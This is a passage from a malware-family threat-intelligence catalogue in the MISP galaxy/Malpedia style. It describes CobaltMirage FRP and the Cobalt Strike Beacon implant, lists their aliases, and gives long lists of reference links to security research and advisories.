Table 3502. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coalabot
https://malware.dontneedcoffee.com/2017/10/coalabot-http-ddos-bot.html
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145

CobaltMirage FRP

This Go written malware was observed during campaign of COBALT MIRAGE; it includes FRP (Fast Reverse Proxy) published by fatedier on GitHub (https://github.com/fatedier/frp) and other projects additionally.

The tag is: *misp-galaxy:malpedia="CobaltMirage FRP"*

CobaltMirage FRP is also known as:

Table 3503. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobaltmirage_tunnel
https://www.secureworks.com/blog/cobalt-mirage-conducts-ransomware-operations-in-us
https://www.deepinstinct.com/blog/iranian-threat-actor-continues-to-develop-mass-exploitation-tools

Cobalt Strike

Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.

The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.

The tag is: *misp-galaxy:malpedia="Cobalt Strike"*

Cobalt Strike is also known as:

- Agentemis
- BEACON
- CobaltStrike

- cobeacon

Table 3504. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike
https://isc.sans.edu/diary/rss/28934
https://labs.f-secure.com/blog/detecting-exposed-cobalt-strike-dns-redirectors
https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike
https://redcanary.com/blog/getsystem-offsec/
https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b
https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/
https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/
https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/
https://twitter.com/MsftSecIntel/status/1522690116979855360
https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html
https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/bb-ebook-finding-beacons-in-the-dark.pdf
https://censys.com/a-beginners-guide-to-tracking-malware-infrastructure/
https://zero.bs/cobaltstrike-beacons-analyzed.html
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf
https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py
https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf
https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf
https://www.recordedfuture.com/solardeflection-c2-infrastructure-used-by-nobelium-in-company-brand-misuse/
https://blog.morphisec.com/vmware-identity-manager-attack-backdoor
https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike
https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf
https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution
https://sixdub.medium.com/using-kaitai-to-parse-cobalt-strike-beacon-configs-f5f0552d5a6e

https://insight-jp.nttsecurity.com/post/102ho8o/operation-restylink

https://www.mandiant.com/media/10916/download

https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/

https://cert.gov.ua/article/37704

https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent

https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire

https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/

https://www.incibe.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf

https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf

https://rastamouse.me/ntlm-relaying-via-cobalt-strike/

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://experience.mandiant.com/trending-evil-2/p/1

http://www.secureworks.com/research/threat-profiles/gold-winter

https://medium.com/walmartglobaltech/cobaltstrike-stager-utilizing-floating-point-math-9bc13f9b9718

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf

https://isc.sans.edu/forums/diary/Emotet%20infection%20with%20Cobalt%20Strike/28824/

https://news.sophos.com/en-us/2021/05/05/intervention-halts-a-proxylogon-enabled-attack

https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/

https://www.mandiant.com/resources/evolution-of-fin7

https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/

https://blogs.blackberry.com/en/2021/08/blackberry-prevents-threat-actor-group-ta575-and-dridex-malware

https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my

https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f

https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/

https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack

https://blog.cobaltstrike.com/

https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/

https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis

https://blog.nviso.eu/2022/07/20/analysis-of-a-trojanized-jquery-script-gootloader-unleashed/

https://github.com/infinitumitlabs/Karakurt-Hacking-Team-CTI

https://malwareandstuff.com/mustang-panda-joins-the-covid19-bandwagon/

https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/

https://socprime.com/blog/uac-0057-attack-detection-a-surge-in-adversary-activity-distributing-picassoloader-and-cobalt-strike-beacon/

https://www.cynet.com/orion-threat-alert-flight-of-the-bumblebee/

https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html

https://x.com/embee_research/status/1737325167024738425?s=46

https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon

https://github.com/Sentinel-One/CobaltStrikeParser/blob/master/parse_beacon_config.py

https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf

https://www.huntress.com/blog/cobalt-strike-analysis-of-obfuscated-malware

https://blog.morphisec.com/log4j-exploit-hits-again-vulnerable-vmware-horizon-servers-at-risk

https://businessinsights.bitdefender.com/tech-advisory-manageengine-cve-2022-47966

https://www.youtube.com/watch?v=gfYswA_Ronw

https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta

https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html

https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-011/

https://us-cert.cisa.gov/ncas/alerts/aa20-275a

https://www.youtube.com/watch?v=GfbxHy6xnbA

https://blog.zsec.uk/cobalt-strike-profiles/

https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf

https://401trg.com/burning-umbrella/ [https://401trg.com/burning-umbrella/]

https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko

https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468

https://www.trendmicro.com/en_us/research/21/g/tracking_cobalt_strike_a_vision_one_investigation.html

https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://www.fortinet.com/blog/threat-research/nobelium-returns-to-the-political-world-stage

https://twitter.com/alex_lanstein/status/1399829754887524354

https://www.cynet.com/understanding-squirrelwaffle/

https://socprime.com/blog/somnia-malware-detection-uac-0118-aka-frwl-launches-cyber-attacks-against-organizations-in-ukraine-using-enhanced-malware-strains/

https://www.telsy.com/download/5972/?uid=d7c082ba55

https://blog.cobaltstrike.com/2020/03/04/cobalt-strike-joins-core-impact-at-helpsystems-llc/

https://www.trendmicro.com/en_us/research/22/j/water-labbu-abuses-malicious-dapps-to-steal-cryptocurrency.html

https://securelist.com/apt-luminousmoth/103332/

https://www.youtube.com/watch?v=LA-XE5Jy2kU

https://twitter.com/VK_Intel/status/1294320579311435776

https://morphuslabs.com/attackers-are-abusing-msbuild-to-evade-defenses-and-implant-cobalt-strike-beacons-edac4ab84f42

https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt

https://isc.sans.edu/diary/rss/26862

https://www.secureworks.com/research/threat-profiles/bronze-mohawk

https://cert.gov.ua/article/339662

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/diving-deeper-into-the-kaseya-vsa-attack-revil-returns-and-other-hackers-are-riding-their-coattails/

https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/

https://securelist.com/apt-trends-report-q2-2020/97937/

https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir

https://www.infinitumit.com.tr/en/conti-ransomware-group-behind-the-karakurt-hacking-team/

https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/

https://www.sentinelone.com/labs/chinese-entanglement-dll-hijacking-in-the-asian-gambling-sector/

https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/team46-and-taxoff-two-sides-of-the-same-coin

https://www.hhs.gov/sites/default/files/bazarloader.pdf

https://www.domaintools.com/resources/blog/covid-19-phishing-with-a-side-of-cobalt-strike#

https://www.mandiant.com/resources/russian-targeting-gov-business

https://d01a.github.io/syscalls/

https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html

https://redcanary.com/blog/grief-ransomware/

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/

https://labs.k7computing.com/index.php/cobalt-strikes-deployment-with-hardware-breakpoint-for-amsi-bypass/

https://www.ic3.gov/Media/News/2021/210823.pdf

https://www.ironnet.com/blog/tracking-cobalt-strike-servers-used-in-cyberattacks-on-ukraine

https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1

https://michaelkoczwara.medium.com/cobalt-strike-hunting-dll-hijacking-attack-analysis-ffbf8fd66a4e

https://blog.group-ib.com/opera1er-apt

https://www.inde.nz/blog/different-kind-of-zoombomb

https://community.riskiq.com/article/0bcefe76

https://www.crowdstrike.com/blog/how-falcon-complete-disrupts-ecrime-operators-wizard-spider/

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war

https://malware-traffic-analysis.net/2021/09/29/index.html

https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/earth-baku-returns

https://www.esentire.com/blog/hacker-infrastructure-used-in-cisco-breach-discovered-attacking-a-top-workforce-management-corporation-russias-evil-corp-gang-suspected-reports-esentire

https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/

https://www.accenture.com/us-en/blogs/cyber-defense/double-extortion-campaigns

https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html

https://blog.fox-it.com/2023/11/01/popping-blisters-for-research-an-overview-of-past-payloads-and-exploring-recent-developments/

https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/

https://github.com/sophos-cybersecurity/solarwinds-threathunt

https://hitcon.org/2024/CMT/slides/Sailing_the_Seven_SEAs_Deep_Dive_into_Polaris_Arsenal_and_Intelligence_Insights.pdf

https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/

https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html

https://blog.talosintelligence.com/2021/11/attackers-use-domain-fronting-technique.html

https://intel471.com/blog/conti-emotet-ransomware-conti-leaks

https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/

https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html

https://breakpoint-labs.com/blog/cobalt-strike-and-ransomware-tracking-an-effective-ransomware-campaign/

https://www.scmagazine.com/brief/breach/novel-obfuscation-leveraged-by-hive-ransomware

https://isc.sans.edu/diary/26752

https://netresec.com/?b=214d7ff

https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack

https://embeeresearch.io/ghidra-entropy-analysis-locating-decryption-functions/

https://www.trendmicro.com/en_us/research/22/k/hack-the-real-box-apt41-new-subgroup-earth-longzhi.html

https://marcoramilli.com/2022/05/10/a-malware-analysis-in-ru-au-conflict/

https://www.secureworks.com/research/darktortilla-malware-analysis

https://www.advintel.io/post/anatomy-of-attack-truth-behind-the-costa-rica-government-ransomware-5-day-intrusion

https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022

https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/

https://hitcon.org/2024/CMT/slides/Pirates_of_The_Nang_Hai_Follow_the_Artifacts_of_Tropic_Trooper,_No_One_Knows.pdf

https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor

https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/

<a href="https://quake.360.cn/quake/<mark>/reportDetail?id=5fc6fedd191038c3b25c4950">https://quake.360.cn/quake/</mark>/reportDetail?id=5fc6fedd191038c3b25c4950

https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/

https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html

https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/

https://go.recordedfuture.com/hubfs/reports/cta-2022-0503.pdf

https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee
https://www.lac.co.jp/lacwatch/people/20180521_001638.html
https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments
https://securelist.com/apt41-in-africa/116986/
https://www2.deloitte.com/content/dam/Deloitte/dk/Documents/Grabngo/Aarhus_miniseminar_291118.pdf
https://cloud.google.com/blog/topics/threat-intelligence/darkside-affiliate-supply-chain-software-compromise
https://isc.sans.edu/diary/rss/28448
https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/
https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/
https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/
https://blog.talosintelligence.com/warmcookie-analysis/
https://mez0.cc/posts/cobaltstrike-powershell-exec/
https://www.istrosec.com/blog/apt-sk-cobalt/
https://www.lac.co.jp/lacwatch/report/20210521_002618.html
https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/
https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/
https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/
https://www.secureworks.com/research/threat-profiles/gold-kingswood
https://www.nextron-systems.com/2025/04/29/nitrogen-dropping-cobalt-strike-a-combination-of-chemical-elements/
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf
https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/
https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/
https://blog.sonatype.com/new-pymafka-malicious-package-drops-cobalt-strike-on-macos-windows-linux
https://hunt.io/blog/unmasking-adversary-infrastructure-how-certificates-and-redirects-exposed-earth-baxia-and-plugx-activity
https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis
https://www.secureworks.com/blog/detecting-cobalt-strike-cybercrime-attacks
https://www.bleepingcomputer.com/news/security/phishing-campaign-targets-russian-govt-dissidents-with-cobalt-strike/
https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis

https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayling-taiwan-cyber-attacks

https://teamt5.org/en/posts/hiding-in-plain-sight-obscuring-c2s-by-abusing-cdn-services

https://embeeresearch.io/unpacking-malware-with-hardware-breakpoints-cobalt-strike/

https://thedfirreport.com/2021/05/12/conti-ransomware/

https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLPCLEAR-Staubmann-Busy-Bees.pptx

https://community.riskiq.com/article/f0320980

https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/

https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf

https://isc.sans.edu/diary/rss/28752

https://www.silentpush.com/blog/consequences-the-conti-leaks-and-future-problems

https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf

https://explore.group-ib.com/htct/hi-tech_crime_2018

https://pkb1s.github.io/Relay-attacks-via-Cobalt-Strike-beacons/

https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot

https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encryption-decryption/

https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf

https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign

https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader

https://strapi.eurepoc.eu/uploads/Eu_Repo_C_APT_profile_Conti_Wizard_Spider_dc2a733e18.pdf

https://www.brighttalk.com/webcast/7451/462719

https://mp.weixin.qq.com/s/xPsEXp2J5IE7wNSMEVC24A

https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control

https://thedfirreport.com/2023/12/04/sql-brute-force-leads-to-bluesky-ransomware/

https://awakesecurity.com/blog/catching-the-white-stork-in-flight/

https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489

https://services.google.com/fh/files/misc/m-trends-2025-en.pdf

https://redcanary.com/wp-content/uploads/2022/05/Gootloader.pdf

https://socprime.com/blog/picassoloader-and-cobalt-strike-beacon-detection-uac-0057-aka-ghostwriter-hacking-group-attacks-the-ukrainian-leading-military-educational-institution/

https://community.riskiq.com/article/c88cf7e6

https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/

https://www.elastic.co/security-labs/grimresource

https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus

https://www.blackarrow.net/leveraging-microsoft-teams-to-persist-and-cover-up-cobalt-strike-traffic/

https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/

https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html

https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://www.secureworks.com/blog/detecting-cobalt-strike-government-sponsored-threat-groups

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://go.recordedfuture.com/hubfs/reports/cta-2024-0716.pdf

https://twitter.com/redcanary/status/1334224861628039169

https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encoding-decoding/

https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot

https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper

https://inteloperator.medium.com/the-default-63-6f-62-61-6c-74-strike-8ac9ee0de1b7

https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks

https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/

https://www.getrevue.co/profile/80vul/issues/hunting-cobalt-strike-dns-redirectors-by-using-zoomeye-580734

https://thedfirreport.com/2021/01/31/bazar-no-ryuk/

https://ak100117.medium.com/analyzing-cobalt-strike-powershell-payload-64d55ed3521b

https://twitter.com/MBThreatIntel/status/1412518446013812737

https://www.accenture.com/us-en/blogs/cyber-defense/karakurt-threat-mitigation

https://embeeresearch.io/ghidra-basics-shellcode-analysis/

https://web.archive.org/web/20230209123148/https://www.cybereason.com/hubfs/THREAT%20ALERT%20GootLoader%20-%20Large%20payload%20leading%20to%20compromise%20(BLOG).pdf

https://www.arashparsa.com/catching-a-malware-with-no-name/

https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/hydrochasma-asia-medical-shipping-intelligence-gathering

https://www.telsy.com/legitimate-sites-used-as-cobalt-strike-c2s-against-indian-government/

https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one

https://www.cobaltstrike.com/support

https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html

https://asec.ahnlab.com/ko/19640/

https://embee-research.ghost.io/unpacking-malware-with-hardware-breakpoints-cobalt-strike/

https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf

https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf

https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

https://www.microsoft.com/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/

https://socradar.io/new-gootloader-variant-gootbot-changes-the-game-in-malware-tactics/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf

https://www.rapid7.com/blog/post/2024/08/12/ongoing-social-engineering-campaign-refreshes-payloads/

https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/

https://isc.sans.edu/diary/28636

https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/

https://thehackernews.com/2022/05/malware-analysis-trickbot.html

https://cyber.wtf/2022/03/23/what-the-packer/

https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/

https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/

https://isc.sans.edu/diary/rss/27618

https://www.malware-traffic-analysis.net/2021/09/29/index.html

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/#id3

https://www.youtube.com/watch?v=borfuQGrB8g

https://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/

https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf

https://blog.malwarebytes.com/threat-intelligence/2021/11/a-multi-stage-powershell-based-attack-targets-kazakhstan/

https://elastic.github.io/security-research/intelligence/2022/01/03.extracting-cobalt-strike-beacon/article/

https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html

https://us-cert.cisa.gov/ncas/alerts/aa21-148a

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/24/i/earth-baxia-uses-spear-phishing-and-geoserver-exploit-to-target-apac/IOCs%20-%20Earth%20Baxia%20Uses%20Spear-Phishing%20and%20GeoServer%20Exploit%20to%20Target%20APAC.txt

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang

https://github.com/Apr4h/CobaltStrikeScan

https://jp.security.ntt/tech_blog/appdomainmanager-injection

https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf

https://pylos.co/2018/11/18/cozybear-in-from-the-cold/

https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/

https://www.mandiant.com/resources/defining-cobalt-strike-components

https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/

https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx

https://www.crowdstrike.com/blog/how-crowdstrike-threat-hunters-identified-a-confluence-exploit/

https://www.mandiant.com/resources/sabbath-ransomware-affiliate

https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/

https://www.rapid7.com/blog/post/2024/05/10/ongoing-social-engineering-campaign-linked-to-black-basta-ransomware-operators/

https://youtu.be/_VZCocEFHgk?feature=shared

https://blog.reconinfosec.com/analysis-of-exploitation-cve-2020-10189/

https://blogs.blackberry.com/en/2021/10/blackberry-shines-spotlight-on-evolving-cobalt-strike-threat-in-new-book

https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811

https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021

https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout

https://www.secureworks.com/research/threat-profiles/gold-dupont
https://www.secureworks.com/research/threat-profiles/gold-waterfall
https://www.proofpoint.com/us/blog/threat-insight/cobalt-strike-favorite-tool-apt-crimeware
https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html
https://blog.cyble.com/2022/05/20/malware-campaign-targets-infosec-community-threat-actor-uses-fake-proof-of-concept-to-deliver-cobalt-strike-beacon/
https://www.recordedfuture.com/research/china-nexus-tag-112-compromises-tibetan-websites
https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
https://blog.talosintelligence.com/chinese-hacking-group-apt41-compromised-taiwanese-government-affiliated-research-institute-with-shadowpad-and-cobaltstrike-2/
https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/
https://www.contextis.com/en/blog/dll-search-order-hijacking
https://go.recordedfuture.com/hubfs/reports/cta-2023-0330.pdf
https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/
https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike
https://blog.gigamon.com/2021/09/10/rendering-threats-a-network-perspective/
https://redcanary.com/blog/intelligence-insights-december-2021
https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/
https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/
https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf
https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/
https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-batloader
https://www.crowdstrike.com/blog/four-popular-defensive-evasion-techniques-in-2021/
https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/
https://www.sekoia.io/en/nobeliums-envyscout-infection-chain-goes-in-the-registry-targeting-embassies/
https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/
https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html

https://wbglil.gitbook.io/cobalt-strike/

https://blog.group-ib.com/colunmtk_apt41

https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike

https://securityscorecard.com/blog/securityscorecard-finds-usaid-hack-much-larger-than-initially-thought

https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya

https://www.trendmicro.com/en_us/research/20/i/u-s—justice-department-charges-apt41-hackers-over-global-cyberattacks.html

https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia

https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html

